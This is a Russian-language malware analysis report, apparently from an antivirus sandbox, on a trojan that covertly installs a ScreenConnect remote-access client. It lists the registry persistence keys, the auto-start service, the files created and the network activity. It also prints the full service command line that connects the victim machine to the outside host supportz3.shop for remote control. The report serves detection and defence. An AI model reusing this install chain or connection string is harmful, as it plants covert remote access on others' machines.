Trojan.Siggen32.5940

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-c762e92de5f3cdf0\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (c762e92de5f3cdf0)\ScreenConnect.WindowsClient.exe" "%1"'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (c762e92de5f3cdf0)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (c762e92de5f3cdf0)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (c762e92de5f3cdf0)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (c762e92de5f3cdf0)' %ProgramFiles(x86)%\ScreenConnect Client (c762e92de5f3cdf0)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=supportz3.shop&p=8041&s=fc2ab5c8-ddc2-4f2f-b84a-299ae2eb4252&k=BgIAAACkAABSU0Ex...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<Имя файла>.exe.log
%TEMP%\msice8b.tmp
%TEMP%\msice8b.tmp-\screenconnect.installeractions.dll
%TEMP%\msice8b.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msice8b.tmp-\screenconnect.core.dll
%TEMP%\msice8b.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df9e60dabededf8681.tmp
%WINDIR%\installer\sourcehash{8526bb90-ea25-4b4f-9ce3-63f5357d04f9}
%WINDIR%\temp\~dfbaff6f71a25cbdc8.tmp
%WINDIR%\temp\~df9fec988e4f1f27f9.tmp
%WINDIR%\temp\~df2b2465f76e6c831c.tmp
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\app.config
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\client.resources
%WINDIR%\installer\{8526bb90-ea25-4b4f-9ce3-63f5357d04f9}\defaulticon
%WINDIR%\temp\~df6f99858566dae3da.tmp
%WINDIR%\temp\~df8e40990d0a60a1ac.tmp
%WINDIR%\temp\~df11000af082b4b5a3.tmp
%WINDIR%\temp\~df016089a829990493.tmp
%WINDIR%\temp\~df2a05db026991b88f.tmp
%WINDIR%\temp\~df423a10ebdee83cb3.tmp
%WINDIR%\temp\~dfc95aadf50a125ccc.tmp
%WINDIR%\temp\~df68d1880198b54204.tmp
%TEMP%\content\4676-3916-screenconnect.windowsclient.exe-15-44-11-938.dump

Удаляет файлы, которые сам же создал

%TEMP%\msice8b.tmp-\customaction.config
%TEMP%\msice8b.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msice8b.tmp-\screenconnect.core.dll
%TEMP%\msice8b.tmp-\screenconnect.installeractions.dll
%TEMP%\msice8b.tmp

Сетевая активность

UDP

DNS ASK su###rtz3.shop

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=supportz3.shop&p=8041&s=fc2ab5c8-ddc2-4f2f-b84a-299ae2eb4252&k=BgIAAACkAABSU0ExAAgAAAEAAQAREuLFFwavCliabasC9Yx8j3lTt%2bcrBKvJc2e41EwcDW6z%2fXo0KYDhdipht0Z%2fIPzvZvmIRWBYxoZ...
'%ProgramFiles(x86)%\screenconnect client (c762e92de5f3cdf0)\screenconnect.windowsclient.exe' "RunRole" "f7dcdc79-47f2-46a5-b094-288549e1f3c4" "User"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSICE8B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_905203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments